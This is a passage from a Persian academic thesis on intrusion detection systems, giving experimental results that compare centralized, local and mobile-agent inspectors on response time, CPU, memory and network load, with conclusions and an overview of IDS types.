اي استفاده شده است  ها از شبكه لازم به يادآوري است كه براي انجام اين آزمايش. ها استفاده شده است بين انجام بازرسي

  .كردند  استفاده ميLinuxهاي آن از  كه تمام سيستم

در اين آزمايش . رسانده شده است% ۱۰۰ سيستم را به CPUرار گرفته باشد ميزان مصرف براي اينكه سيستم زير بار ق

توان زمان پاسخ سه سيستم بازرس را در   مي۵-۶در شكل .  استفاده شده استCPU براي بالا بردن مصرف jolt2از حمله 

 .حالت شرح داده شده مشاهده كرد
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        ....باشدباشدباشدباشد% % % % CPU ، ، ، ،۱۰۰۱۰۰۱۰۰۱۰۰اسخ در حالتي كه ميزان استفاده از اسخ در حالتي كه ميزان استفاده از اسخ در حالتي كه ميزان استفاده از اسخ در حالتي كه ميزان استفاده از  زمان پ زمان پ زمان پ زمان پ----۵۵۵۵----۶۶۶۶شكل شكل شكل شكل 

اين ابزار كه به .  استفاده شده استiperfبراي انجام آزمايش در حالتي كه شبكه اشباع شده باشد از ابزاري به نام 

بعد . برد يهاي مختلف بر روي شبكه ميزان استفاده از آن را بسيار بالا م كند با ارسال بسته  عمل ميclient/serverصورت 

توان آن   مي۶-۶گيري شد كه در شكل  از آنكه شبكه به حالت اشباع تبديل شد ميزان زمان پاسخ سه سيستم بازرس اندازه

  .را مشاهده كرد
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        .... باشد باشد باشد باشدشبكه اشباع شدهشبكه اشباع شدهشبكه اشباع شدهشبكه اشباع شده زمان پاسخ در حالتي كه ميزان  زمان پاسخ در حالتي كه ميزان  زمان پاسخ در حالتي كه ميزان  زمان پاسخ در حالتي كه ميزان ----۶۶۶۶----۶۶۶۶شكل شكل شكل شكل 

  ل متحركبررسي حالات مختلف بازرس مبتني بر عام -۶-۴-۲

هاي مختلف مورد بررسي قرار گرفته  هاي متحرك از جنبه ها سيستم بازرس مبتني بر عامل در اين دسته از آزمايش

شود به مقايسه بازرس در  ها مربوط مي دسته اول از آزمايش. دو نوع آزمايش در اين حالت انجام گرفته است. است

 Windowsهاي آنها  اي كه تمام سيستم  باشد، شبكهLinuxهاي آن  ستماي كه تمام سي شبكه(اي با بسترهاي متفاوت  شبكه

ها،  و در آزمايش دوم بين تعداد بازرس)  استفاده شده باشدLinux و Windowsاي كه در آن از دو سيستم  باشد و شبكه



  ١١٠

اي  هاي مختلف مقايسه انهايي با تعداد ميزب گذارند و زمان پاسخ براي شبكه نحوه حركت آنها، ميزان باري كه بر شبكه مي

  .شود انجام مي

عامل وجود داشته  اي كه در آن انواع مختلف سيستم ها در شبكه در دسته اول آزمايشات سعي شده است كه بازرس

اي در سه حالت مختلف مورد ارزيابي قرار گرفته است كه عبارتند از  براي اين منظور شبكه. باشد مورد بررسي قرار گيرند

عامل  هاي آن داراي سيستم اي كه تمام سيستم  باشند، شبكهLinuxعامل  هاي آن به مجهز به سيستم  تمام سيستماي كه شبكه

Windowsها براي  در اين سه حالت زمان پاسخ بازرس. عامل در آن وجود داشته باشد اي كه هر دو سيستم  باشند و شبكه

توان  ها را مي  زمان پاسخ اين بازرس۷-۶در شكل . اند يري شدهگ ها اندازه هاي زماني متفاوت بين ارسال بازرس فاصله

  .مشاهده كرد

  
        هايي با بسترهاي اجرايي متفاوتهايي با بسترهاي اجرايي متفاوتهايي با بسترهاي اجرايي متفاوتهايي با بسترهاي اجرايي متفاوت    هاي متحرك در شبكههاي متحرك در شبكههاي متحرك در شبكههاي متحرك در شبكه     مقايسه زمان پاسخ بازرس مبتني بر عامل مقايسه زمان پاسخ بازرس مبتني بر عامل مقايسه زمان پاسخ بازرس مبتني بر عامل مقايسه زمان پاسخ بازرس مبتني بر عامل----۷۷۷۷----۶۶۶۶شكل شكل شكل شكل 

 باشند، زمان Linux مبتني بر هايي كه كاملاً  نشان داده شده است، زمان پاسخ در سيستم۷-۶همانطور كه در شكل 

توان به ساختار  علت اين مساله را مي.  استفاده شده استWindowsاي است كه در آن از  پاسخ بسيار بهتر از شبكه

  .عامل در رابطه با چگونگي پاسخگويي به نيازهاي وارده دانست سيستم

هاي مورد  ك صورت گرفته است، تعداد عاملهاي متحر هاي مبتني بر عامل آزمايش ديگري كه در رابطه با بازرس

براي در نظر . در اين رابطه دو معيار زمان پاسخ و بار شبكه مورد ارزيابي قرار گرفته است. استفاده در يك شبكه است

همانطور كه مشخص است، اين .  ميزان بار شبكهxگرفتن اين دو معيار پارامتري در نظر گرفته شده به صورت زمان پاسخ 

ها بيشتر باشد، زمان پاسخ كمتر و بار شبكه  ارامتر نسبت عكس با يكديگر دارند، به اين معني كه هر چه تعداد بازرسدو پ

فرضي .  بار شبكه حداقل شودxبا توجه به اين مطلب بايد تعادلي بين آن دو برقرار كرد تا مقدار زمان پاسخ . بيشتر است

باشد كه شرح  ها مي  در نظر گرفتن يك مسير حركت مشخص براي بازرسكه در انجام آزمايشات اين بخش وجود دارد،

كند   بررسي ميms 300نفوذ را در مدت  يك عامل به صورت متوسط يك سيستم تشخيص. آن در ادامه آورده شده است

توان نسبت  ميبا توجه به اين مقادير .  استkbps 4.5كند در حدود  ايجاد مي گرداند و باري كه بر شبكه  جواب را برمي

هايي با تعداد ميزبان مختلف  اين آزمايش براي شبكه. بار شبكه به سرعت پاسخ را براي تعداد مختلف بازرس بررسي كرد

  .ي انجام شده استLinuxاين آزمايش نيز در شبكه كاملاً . در ادامه نشان داده شده است
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حالات ) ۸-۶شكل (نفوذ باشند  اراي سيستم تشخيصدر صورتيكه شبكه سه ميزبان داشته باشد كه دو عدد از آنها د

  :توان در نظر گرفت زير را مي

IDS1

IDS2

Admin

Hub

  
        اي با دو ميزباناي با دو ميزباناي با دو ميزباناي با دو ميزبان     شبكه شبكه شبكه شبكه----۸۸۸۸----۶۶۶۶شكل شكل شكل شكل 

در صورتيكه . تواند تغيير كند بين يك تا دو عدد خواهد بود هايي كه به عنوان بازرس مي در اين شبكه تعداد عامل

 و زمان پاسخ برابر خواهد kbps 4.5گذارد برابر خواهد بود با   باشد ميزان باري كه بر شبكه ميها يك عدد تعداد بازرس

 و kbps 9كند در حدود  ايجاد مي ها دو عدد در نظر گرفته شود ميزان باري كه در صورتيكه تعداد بازرس. ms 600بود با 

 :توان مشاهده كرد را مي اين نتايج ۴-۶در جدول . شود  ميms 300زمان پاسخ آن در حدود 

        اي با دو ميزباناي با دو ميزباناي با دو ميزباناي با دو ميزبان     ميزان بار و زمان پاسخ براي شبكه ميزان بار و زمان پاسخ براي شبكه ميزان بار و زمان پاسخ براي شبكه ميزان بار و زمان پاسخ براي شبكه----۴۴۴۴----۶۶۶۶جدول جدول جدول جدول 

 اي با دو ميزباناي با دو ميزباناي با دو ميزباناي با دو ميزبان    شبكهشبكهشبكهشبكه

         زمان زمان زمان زمانxبار بار بار بار  زمان پاسخزمان پاسخزمان پاسخزمان پاسخ ميزان بارميزان بارميزان بارميزان بار تعداد عاملتعداد عاملتعداد عاملتعداد عامل
1 ~ 4.5 kbps ~ 600 ms 2700 
2 ~ 9 kbps ~ 300 ms 2700 

 ۸-۶، ۷-۶، ۶-۶، ۵-۶جداول ( آمده نشان داده شده است هايي با تعداد ميزبان مختلف نتايج بدست در ادامه براي شبكه

  ).۹-۶و 

        اي با سه ميزباناي با سه ميزباناي با سه ميزباناي با سه ميزبان     ميزان بار و زمان پاسخ براي شبكه ميزان بار و زمان پاسخ براي شبكه ميزان بار و زمان پاسخ براي شبكه ميزان بار و زمان پاسخ براي شبكه----۵۵۵۵----۶۶۶۶جدول جدول جدول جدول 

 اي با سه ميزباناي با سه ميزباناي با سه ميزباناي با سه ميزبان    شبكهشبكهشبكهشبكه

         زمان زمان زمان زمانxبار بار بار بار  زمان پاسخزمان پاسخزمان پاسخزمان پاسخ ميزان بارميزان بارميزان بارميزان بار تعداد عاملتعداد عاملتعداد عاملتعداد عامل
1 ~ 4.5 kbps ~ 900 ms 4050 
2 ~ 7.5 kbps ~ 600 ms 4500 
3 ~ 13.5 kbps ~ 300 ms 4050 

 
        اي با چهار ميزباناي با چهار ميزباناي با چهار ميزباناي با چهار ميزبان     ميزان بار و زمان پاسخ براي شبكه ميزان بار و زمان پاسخ براي شبكه ميزان بار و زمان پاسخ براي شبكه ميزان بار و زمان پاسخ براي شبكه----۶۶۶۶----۶۶۶۶جدول جدول جدول جدول 

 اي با چهار ميزباناي با چهار ميزباناي با چهار ميزباناي با چهار ميزبان    شبكهشبكهشبكهشبكه

         زمان زمان زمان زمانxبار بار بار بار  زمان پاسخزمان پاسخزمان پاسخزمان پاسخ ميزان بارميزان بارميزان بارميزان بار تعداد عاملتعداد عاملتعداد عاملتعداد عامل
1 ~ 4.5 kbps ~ 1200 ms 5400 
2 ~ 6.75 kbps ~ 900 ms 6075 
3 ~ 10.5 kbps ~ 600 ms 6300 
4 ~ 18 kbps ~ 300 ms 5400 
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        اي با پنج ميزباناي با پنج ميزباناي با پنج ميزباناي با پنج ميزبان    و زمان پاسخ براي شبكهو زمان پاسخ براي شبكهو زمان پاسخ براي شبكهو زمان پاسخ براي شبكه  ميزان بار ميزان بار ميزان بار ميزان بار----۷۷۷۷----۶۶۶۶ول ول ول ول جدجدجدجد

 اي با پنج ميزباناي با پنج ميزباناي با پنج ميزباناي با پنج ميزبان    شبكهشبكهشبكهشبكه

         زمان زمان زمان زمانxبار بار بار بار  زمان پاسخزمان پاسخزمان پاسخزمان پاسخ ميزان بارميزان بارميزان بارميزان بار تعداد عاملتعداد عاملتعداد عاملتعداد عامل
1 ~ 4.5 kbps ~ 1500 ms 6750 
2 ~ 6.3 kbps ~ 1200 ms 7560 
3 ~ 9 kbps ~ 900 ms 8100 
4 ~ 13.5 kbps ~ 600 ms 8100 
5 ~ 22.5 kbps ~ 300 ms 6750 

        

        اي با شش ميزباناي با شش ميزباناي با شش ميزباناي با شش ميزبان    و زمان پاسخ براي شبكهو زمان پاسخ براي شبكهو زمان پاسخ براي شبكهو زمان پاسخ براي شبكه  ميزان بار ميزان بار ميزان بار ميزان بار----۸۸۸۸----۶۶۶۶جدول جدول جدول جدول 

 اي با شش ميزباناي با شش ميزباناي با شش ميزباناي با شش ميزبان    شبكهشبكهشبكهشبكه

         زمان زمان زمان زمانxبار بار بار بار  زمان پاسخزمان پاسخزمان پاسخزمان پاسخ ميزان بارميزان بارميزان بارميزان بار تعداد عاملتعداد عاملتعداد عاملتعداد عامل
1 ~ 4.5 kbps ~ 1800 ms 8100 
2 ~ 6 kbps ~ 1500 ms 9000 
3 ~ 8.1 kbps ~ 1200 ms 9720 
4 ~ 11.25 kbps ~ 900 ms 10125 
5 ~ 16.5 kbps ~ 600 ms 9900 
6 ~ 27 kbps ~ 300 ms 8100 

        

        اي با هفت ميزباناي با هفت ميزباناي با هفت ميزباناي با هفت ميزبان    و زمان پاسخ براي شبكهو زمان پاسخ براي شبكهو زمان پاسخ براي شبكهو زمان پاسخ براي شبكه  ميزان بار ميزان بار ميزان بار ميزان بار----۹۹۹۹----۶۶۶۶جدول جدول جدول جدول 

 اي با هفت ميزباناي با هفت ميزباناي با هفت ميزباناي با هفت ميزبان    شبكهشبكهشبكهشبكه

         زمان زمان زمان زمانxبار بار بار بار  زمان پاسخزمان پاسخزمان پاسخزمان پاسخ ميزان بارميزان بارميزان بارميزان بار تعداد عاملتعداد عاملتعداد عاملتعداد عامل
1 ~ 4.5 kbps ~ 2100 ms 9450 
2 ~ 5.78 kbps ~ 1800 ms 10404 
3 ~ 7.5 kbps ~ 1500 ms 11250 
4 ~ 9.9 kbps ~ 1200 ms 11880 
5 ~ 13.5 kbps ~ 900 ms 12150 
6 ~ 19.5 kbps ~ 600 ms 11395 
7 ~ 31.5 kbps ~ 300 ms 9450 

 
هايي با تعداد ميزبان مختلف نشان داده شده   نمودار مربوط به ميزان بار در سرعت پاسخ براي شبكه۹-۶در شكل 

  . است
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  هاي مختلفهاي مختلفهاي مختلفهاي مختلف    هايي با تعداد ميزبان متفاوت و تعداد بازرسهايي با تعداد ميزبان متفاوت و تعداد بازرسهايي با تعداد ميزبان متفاوت و تعداد بازرسهايي با تعداد ميزبان متفاوت و تعداد بازرس     سرعت پاسخ براي شبكه سرعت پاسخ براي شبكه سرعت پاسخ براي شبكه سرعت پاسخ براي شبكهx ميزان بار شبكه  ميزان بار شبكه  ميزان بار شبكه  ميزان بار شبكه ----٩٩٩٩----٦٦٦٦كل كل كل كل شششش

واضح است بسته به نحوه . باشد ها در شبكه مي اي كه در اينجا بايد به آن توجه داشت چگونگي حركت بازرس نكته

لبته همانطور كه در قبل گفته شد، نحوه حركت ا. حركت آنها زمان پاسخ و ميزان ترافيك شبكه تغيير خواهد كرد

 ميزبان در نظر گرفته شود nاي با  ها در آزمايش فوق، ثابت در نظر گرفته شده است، به اين ترتيب كه اگر شبكه بازرس

 ام ساير mكنند و بازرس   ميزبان را بازرسي ميm-1 بازرس n < m( ،m-1( بازرس وجود داشته باشد mو براي آن 

  همانطور كه از روي جداول و اشكال فوق. دهد هاي باقيمانده را مورد بررسي قرار مي ميزبان

اي با شش ميزبان و دو، سه و چهار  به منظور نشان دادن تاثير نحوه حركت بر زمان پاسخ و ميزان بار شبكه، شبكه

  . )۱۰-۶شكل (در شبكه حركت داد ها را  هاي مختلفي بازرس توان به روش شود كه در آنها مي بازرس در نظر گرفته مي
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IDS5

IDS3

IDS6  
        اي با شش ميزباناي با شش ميزباناي با شش ميزباناي با شش ميزبان     شبكه شبكه شبكه شبكه----۱۰۱۰۱۰۱۰----۶۶۶۶شكل شكل شكل شكل 

با .  ميزان بار شبكه استفاده شده استxبراي بررسي تاثير حركت بر زمان پاسخ و بار شبكه، نيز از پارامتر زمان پاسخ 

 ۱۱-۶، ۱۰-۶در جدول .  بار شبكه حداقل شودxر زمان پاسخ توجه به اين مطلب بايد تعادلي بين آن دو برقرار كرد تا مقدا

. اي با شش ميزبان و تعداد دو، سه و چهار بازرس آورده شده است  نتايج اين آزمايشات صورت گرفته در شبكه۱۲-۶و 

 اين دهنده  كه نشانm (IDSa, IDSb, ..., IDSn): ها به اين ترتيب نشان داده شده است در جداول نحوه حركت بازرس

دهد   نشان مي۱۰-۶با توجه به اين مطلب، جدول . كند را بازرسي مي...  و a ،bهاي m ،IDSمطلب است كه بازرس شماره 

 زمان xاي با شش ميزبان داشته باشيم، در صورتي كه يك بازرس وجود داشته باشد، ميزان بار  كه در صورتي كه شبكه

 ۱۲-۶ و ۱۱-۶در جداول . كند رس داشته باشيم، اين پارامتر چه تغييري ميشود و در صورتي كه دو باز پاسخ چه مقدار مي

همانطور كه پيشتر نيز گفته شد يك عامل به . هايي با سه و چهار بازرس نشان داده شده است همين عمل براي شبكه

 كه بر شبكه گرداند و باري كند جواب را برمي  بررسي ميms 300نفوذ را در مدت  صورت متوسط يك سيستم تشخيص

  :توان نتايج را به ترتيب زير مشاهده كرد با توجه به اين موارد مي.  استkbps 4.5كند در حدود  ايجاد مي 

  

        اي با شش ميزبان و دو بازرس با مسيرهاي حركت متفاوتاي با شش ميزبان و دو بازرس با مسيرهاي حركت متفاوتاي با شش ميزبان و دو بازرس با مسيرهاي حركت متفاوتاي با شش ميزبان و دو بازرس با مسيرهاي حركت متفاوت    و زمان پاسخ براي شبكهو زمان پاسخ براي شبكهو زمان پاسخ براي شبكهو زمان پاسخ براي شبكه  ميزان بار ميزان بار ميزان بار ميزان بار----۱۰۱۰۱۰۱۰----۶۶۶۶جدول جدول جدول جدول 

 اي با شش ميزباناي با شش ميزباناي با شش ميزباناي با شش ميزبان    شبكهشبكهشبكهشبكه

         زمان زمان زمان زمانxبار بار بار بار  زمان پاسخزمان پاسخزمان پاسخزمان پاسخ ميزان بارميزان بارميزان بارميزان بار هاهاهاها    نحوه حركت بازرسنحوه حركت بازرسنحوه حركت بازرسنحوه حركت بازرس
1 (IDS1) 

2 (IDS2, IDS3, IDS4, IDS5, IDS6) ~ 6 kbps ~ 1500 ms 9000 

1 (IDS1, IDS2) 
2 (IDS3, IDS4, IDS5, IDS6) ~ 7.2 kbps ~1200 ms 8640 

1 (IDS1, IDS2, IDS3) 
2 (IDS1, IDS2, IDS3) ~ 9 kbps ~ 900 ms 8100 

        

        

        



  ١١٥

        

        اي با شش ميزبان و سه بازرس با مسيرهاي حركت متفاوتاي با شش ميزبان و سه بازرس با مسيرهاي حركت متفاوتاي با شش ميزبان و سه بازرس با مسيرهاي حركت متفاوتاي با شش ميزبان و سه بازرس با مسيرهاي حركت متفاوت    اسخ براي شبكهاسخ براي شبكهاسخ براي شبكهاسخ براي شبكهو زمان پو زمان پو زمان پو زمان پ  ميزان بار ميزان بار ميزان بار ميزان بار----۱۱۱۱۱۱۱۱----۶۶۶۶جدول جدول جدول جدول 

 اي با شش ميزباناي با شش ميزباناي با شش ميزباناي با شش ميزبان    شبكهشبكهشبكهشبكه

         زمان زمان زمان زمانxبار بار بار بار  زمان پاسخزمان پاسخزمان پاسخزمان پاسخ ميزان بارميزان بارميزان بارميزان بار هاهاهاها    نحوه حركت بازرسنحوه حركت بازرسنحوه حركت بازرسنحوه حركت بازرس
1 (IDS1)  
2 (IDS2) 

3 (IDS3, IDS4, IDS5, IDS6) 
~ 8.1 kbps ~ 1200 ms 9720 

1 (IDS1) 
2 (IDS2, IDS3) 

3 (IDS4, IDS5, IDS6) 
~ 10.125 kbps ~ 900 ms 9112.5 

1 (IDS1, IDS2) 
2 (IDS3, IDS4) 
3 (IDS5, IDS6) 

~ 13.5 kbps ~ 600 ms 8100 

        

        اي با شش ميزبان و چهار بازرس با مسيرهاي حركت متفاوتاي با شش ميزبان و چهار بازرس با مسيرهاي حركت متفاوتاي با شش ميزبان و چهار بازرس با مسيرهاي حركت متفاوتاي با شش ميزبان و چهار بازرس با مسيرهاي حركت متفاوت    و زمان پاسخ براي شبكهو زمان پاسخ براي شبكهو زمان پاسخ براي شبكهو زمان پاسخ براي شبكه  ميزان بار ميزان بار ميزان بار ميزان بار----۱۲۱۲۱۲۱۲----۶۶۶۶جدول جدول جدول جدول 

 اي با شش ميزباناي با شش ميزباناي با شش ميزباناي با شش ميزبان    شبكهشبكهشبكهشبكه

         زمان زمان زمان زمانxبار بار بار بار  خخخخزمان پاسزمان پاسزمان پاسزمان پاس ميزان بارميزان بارميزان بارميزان بار هاهاهاها    نحوه حركت بازرسنحوه حركت بازرسنحوه حركت بازرسنحوه حركت بازرس
1 (IDS1)  
2 (IDS2) 
3 (IDS3) 

4 (IDS4, IDS5, IDS6) 

~ 11.25 kbps ~ 900 ms 10125 

1 (IDS1) 
2 (IDS2) 

3 (IDS3, IDS4) 
4 (IDS5, IDS6) 

~ 15 kbps ~ 600 ms 9000 

        

با توجه به . د زمان پاسخ هنگامي مناسب است كه مقدار حداقل را داشته باشxهمانطور كه گفته شد، ميزان بار شبكه 

اي با شش ميزبان و دو بازرس، مشخص است كه پارامتر تعريف  دهنده شبكه  كه نشان۱۰-۶اين مطلب و توجه به جدول 

 به اين معني كه بازرس (IDS4, IDS5, IDS6) 2 و (IDS1, IDS2, IDS3) 1گيرد كه  شده زماني مقدار حداقل را مي

دهد  اين حالت، زماني را نشان مي.  شماره دو نيز سه ميزبان را بررسي كندشماره يك سه ميزبان را بررسي كند و بازرس

با دقت در . گيرد ها مورد بررسي قرار مي هايي شكسته شده است و توسط بازرس كه شبكه به صورت مساوي به بخش

 سه بازرس هاي مساوي بين  نيز مشخص است كه مقدار حداقل باز زماني به دست آمده كه شبكه به بخش۱۱-۶جدول 

 بدست ۱۰-۶ است كه با مقدار حداقل كه در جدول 8100 زمان پاسخ در اين حالت xمقدار پارامتر بار . تقسيم شده است

دهند، مشخص است كه  دهد كه چهار بازرس عمل بازرسي را انجام مي  زماني را نشان مي۱۲-۶جدول . آمده بود برابر است

با توجه به اين مطلب، نتايج .  صورت مساوي بين چهار بازرس تقسيم كردتوان به اي با شش ميزبان را نمي شبكه

به اين .  بيشتر است8100 است كه از مقدار 9000 بدست آمده ۱۲-۶دهد، مقدار حداقلي كه در جدول  آزمايشات نشان مي

هاي  ه به بخشمعني كه به دليل اينكه در حالت اخير كه چهار بازرس وجود داشت، به علت عدم امكان شكستن شبك

هاي دو بازرس و سه بازرس كه امكان شكستن شبكه به  مساوي بين آنها مقدار پارامتر بدست آمده در مقايسه با حالت

  .هاي مساوي بين آنها بود، بيشتر است بخش



  ١١٦

  گيري نتيجه -۶-۵
هاي  زمايشآ۴-۶در بخش . شود بندي آنها پرداخته مي در پايان اين بخش به بيان نتايج بدست آورده شده و جمع

اي صورت گرفته است بين سه مدل بازرس در حالت  ها مقايسه در دسته از اول از آزمايش. صورت گرفته شرح داده شد

، زمان پاسخ و CPUاين مقايسه بر اساس سه پارامتر ميزان مصرف حافظه، ميزان مصرف . متمركز، محلي و عامل متحرك

با توجه به اين جداول .  آورده شده است۳-۶ و ۲-۶، ۱-۶ها در جداول  زمايشنتايج اين آ. ميزان بار شبكه انجام شده است

 بوده است و سريعترين زمان پاسخ را CPUمشخص است كه سيستم بازرس محلي داراي كمترين ميزان مصرف حافظه و 

سه بين دو حالت در مقاي. در اين روش همچنين بار شبكه در مقايسه با دو روش ديگر بسيار كمتر است. دهد ارائه مي

شود مدل متمركز در مقايسه با روش عامل متحرك  همانطور كه مشاهده مي) حالت متمركز و عامل متحرك(ديگر 

سيستم زير بار و شبكه زير (در آزمايش ديگري كه در شرايط مشكل . باشد داراي مصرف كمتر و زمان پاسخ بيشتري مي

همانطور كه از اين دو شكل مشخص است .  مشاهده كرد۶-۶ و ۵-۶شكل توان نتايج را در دو  انجام شده است مي) بار

  .كند سازي شده در شرايط دشوار تغييري نمي هاي بازرس پياده عملكرد سيستم

توان سه حالت بازرس را با يكديگر مقايسه كرد ميزان تحمل آنها در برابر  معيار ديگري كه بر اساس آن مي

نطور كه از نام آن مشخص است داراي يك سيستم مركزي است كه عمل بازرسي را سيستم متمركز هما. ها است خرابي

اما در دو حالت ديگر اين مساله . شود اگر به هر دليل اين مركز از عمل متوقف شود بازرسي نيز متوقف مي. دهد انجام مي

ر هر بازرس از كار بايستد تنها در سيستم بازرس محلي اگ. باشد شدگي آنها مي وجود ندارد و اين به علت خاصيت توزيع

در مقايسه با اين . توانند به كار خود ادامه دهند ها مي شود و ساير سيستم همان سيستم است كه از داشتن بازرسي محروم مي

اما با متوقف شدن عمل يك بازرس . هاي مبتني بر عامل نيز ممكن است كه كار خود را بدرستي انجام ندهند روش بازرس

 agencyها احتياج به يك  علاوه بر اين در هر سيستم براي دريافت عامل. توانند به كار خود ادامه دهند ها مي لساير عام

  .تواند مورد بازرسي قرار گيرد  نيز از عمل صحيح بايشتد تنها همان سيستم است كه نميagencyاست، اگر هر 

خاصيت . باشد  تغييرات پوياي سيستم بازرس مييكي ديگر از موارد قابل مقايسه در بين سه نوع بازرس خاصيت

. نفوذ فرق كند هاي تشخيص تغيير پويا به اين معني است كه ممكن است هر از چند وقت لازم باشد تا شيوه بررسي سيستم

 در دو حالت متمركز و عامل. اي تغيير داد كه متناسب با نيازها عمل كند براي انجام اين كار بايد بازرس را به گونه

تنها كافي است كه در سيستم مركزي تغييرات مورد نظر اعمال شود و يا . گيرد متحرك اين كار به راحتي صورت مي

هاي بالايي برخوردار باشد انجام اين  در صورتي كه شبكه مورد حفاظت از تعداد ميزبان. ها داده شود آنكه تغييرات به عامل

  .گير است كار براي روش بازرس محلي كاري دشوار و وقت

مشخص است كه سيستم بازرس ) ميزان بار شبكه، ميزان بار پردازنده و ميزان حافظه مصرفي(با توجه به مطالب فوق 

البته در مواردي كه شبكه وسعت زيادي داشته باشد به . باشد ها مي محلي داراي كارايي بهتري در مقايسه با ساير روش

توان از دو روش متمركز و  در اين حالت مي. فاده از آن مشكل خواهد بودعلت عدم خاصيت تغيير پوياي اين روش، است

 single pointالبته با توجه به آنكه سيستم بازرس متمركز در مقابل حملات بسيار حساس و . عامل متحرك استفاده كرد

of failureمركزي، عملكرد سيستم به علت اينكه در صورت از كار افتادن نقطه(كند   است و پايداري سيستم را كم مي 



  ١١٧

هاي متحرك در  هاي بزرگ، استفاده از بارس مبتني بر عامل و همچنين افزايش بار آن در شبكه) شود بازرسي مختل مي

  .تواند مفيد باشد ها مي اي با وسعت بالا در مقايسه با ساير روش شبكه

 انجام شده ۲-۴-۶اي در بخش  ي جداگانهها هاي متحرك نيز آزمايش هاي بازرس مبتني بر عامل در رابطه با سيستم

-Linux(اي مختلف  ها در سه محيط شبكه اولين آزمايشي كه در اين حالت انجام شده است مقايسه زمان پاسخ عامل. است

Linux ،Linux-Windows و Windows-Windows (نتايج اين سه شبكه نشان داده شده است۷-۶در شكل . باشد مي  .

 باشد و Linuxمشخص است بهترين زمان پاسخ مربوط است به زماني كه شبكه كاملاً بر پايه همانطور كه در شكل 

در صورتي كه شبكه از دو نوع سيستم تشكيل شده باشد .  باشدWindowsبدترين حالت زماني است كه شبكه مبتني بر 

  .گيرد زمان پاسخ در بين اين دو حالت قرار مي

هاي متحرك صورت گرفته است تعيين تعداد  هاي بازرس مبتني بر عامل يستمهايي كه در س يكي ديگر از آزمايش

هايي با دو تا هفت ميزبان در  نتايج بدست آمده براي شبكه. هاي شبكه است ها با توجه به تعداد ميزبان استفاده از بازرس

مان پاسخ و ميزان بار شبكه استفاده ها از دو پارامتر ز براي مقايسه بين تعداد بازرس.  آورده شده است۹-۶ تا ۴-۶جداول 

به اين ترتيب . مشخص است بهترين حالت زماني است كه هم زمان پاسخ و هم ميزان بار شبكه كم باشد. شده است

اي كه در  نكته. توان گفت بهترين تعداد عامل زماني است كه حاصل ضرب زمان پاسخ در ميزان بار شبكه حداقل شود مي

د اين است كه نتايج بدست آمده در جداول فوق در حالتي است كه مسير حركت براي تمام بازرس اينجا بايد يادآور ش

 ميزبان را بررسي m-1 بازرس تعداد m-1 بازرس m ميزبان و nثابت بوده است به اين ترتيب كه در صورت داشتن 

 اين جداول كه نمودار حاصل بار شبكه در با توجه به. دهد ها را مورد بررسي قرار مي  ام ساير ميزبانmكنند و بازرس  مي

گيرد كه يك  ها در زماني صورت مي توان ديد كه بهترين جواب  آورده شده است، مي۹-۶زمان پاسخ آنها در شكل 

در حالت اول ميزان . ها را بررسي كند و يا آنكه براي هر ميزبان يك بازرس مستقل وجود داشته باشد بازرس تمام ميزبان

البته در صورتي . شود شود و در حالت دوم اين مساله به صورت عكس انجام مي داقل و زمان پاسخ حداكثر ميبار شبكه ح

هاي مختلف ديگر نيز جواب بهينه را بدست  توان براي تعداد بازرس ها تغيير داده شود مي كه مسير حركت براي بازرس

ها   صورتيكه شبكه به صورت مساوي بين بازرس مشخص است در۱۲-۶ و ۱۱-۶، ۱۰-۶همانطور كه در جداول . آورد

اي شش ميزبان داشته باشد اگر سه بازرس  براي مثال در صورتي كه شبكه. توان جواب بهينه را بدست آورد تقسيم شود مي

كنند  كنند و يا آنكه دو بازرس باشد كه هر يك سه ميزبان را بررسي  وجود داشته باشد كه هر يك دو ميزبان را بررسي 

هاي مدير  ها با توجه به سياست انتخاب هر كدام از اين روش. كند جوابي مشابه يك بازرس و شش بازرس را توليد مي

در صورتي كه زمان پاسخ بالا اهميت داشته باشد روش منتخب قرار دادن يك بازرس براي هر . گيرد شبكه صورت مي

شود، اما با توجه  شود، زمان حداقل مي يك بازرس بررسي ميميزبان است، به علت اينكه در اين حالت هر ميزبان توسط 

زماني كه بار شبكه . شود ها بر روي شبكه حداكثر مي ها بازرس وجود دارد، بار ارسالي بازرس به اينكه به تعداد ميزبان

 تنها يك بازرس به علت اينكه در اين حالت. ها استفاده كرد توان از يك بازرس براي بررسي كل ميزبان اهميت دارد مي

ها را  كند، حداقل است اما چون يك بازرس است و وظيفه بررسي تمام ميزبان وجود دارد كه باري كه در شبكه ايجاد مي

توان از حالات مياني استفاده كرد به اين شرط كه به هر  در ساير شرايط مي.شود بر عهده دارد، زمان پاسخ آن زياد مي

 .سيده باشدبازرس تعدادي متوسط ميزبان ر

 



  ١١٨

  گيري خلاصه و نتيجه -۷
ها  اين سيستم. باشند هاي كامپيوتري مي نفوذ يكي از ابزارهاي مورد استفاده در ايجاد امنيت شبكه هاي تشخيص سيستم

ها و ديگري عبارت است  شود به منبع اطلاعات اين سيستم يك ديدگاه مربوط مي. بندي كرد توان از دو ديدگاه دسته را مي

توان در نظر گرفت كه عبارتند از روش تشخيص  از جنبه روش بررسي نفوذها دو دسته سيستم را مي. ي نفوذهاروش بررس

كند با جستجوي  نفوذ سعي مي در روش تشخيص سوءاستفاده، سيستم تشخيص. استفاده و روش تشخيص ناهنجاري سوء

يص ناهنجاري هدف تشخيص حملات جديد در روش تشخ. الگوهاي از پيش تعريف شده حملات مورد نظر را پيدا كند

دهد تا از  نفوذ در يك دوره آموزش رفتار سيستم را مورد بررسي قرار مي براي اين منظور معمولاً سيستم تشخيص. است

در اين حالت با مقايسه رفتار . شود بعد از طي اين مرحله نوبت تشخيص حملات مي. اين طريق رفتار عادي را بدست آورد

توان دو دسته سيستم را معرفي كرد  از جنبه منبع اطلاعات نيز مي. تار عادي سعي در پيدا كردن حملات را داردسيستم و رف

هاي مبتني بر  در سيستم. نفوذ مبتني بر شبكه هاي تشخيص نفوذ مبتني بر ميزبان و سيستم هاي تشخيص كه عبارتند از سيستم

عامل در اختيار قرار داده  اين اطلاعات يا توسط سيستم. آيد  بدست ميآوري شده از روي خود سيستم ميزبان اطلاعات جمع

هاي مبتني بر شبكه،  در سيستم. آيد كنند بدست مي هاي خاصي كه رويدادها را ثبت مي شود و يا آنكه توسط برنامه مي

ند كه به صورت اي از حملات هست دسته. آيد آوري شده از شبكه بدست مي اطلاعات مورد نظر از روي ترافيك جمع

توان آن حمله را تشخيص داد و همچنين  در اين حملات با بررسي اطلاعات يك سيستم نمي. كنند  شده عمل مي توزيع

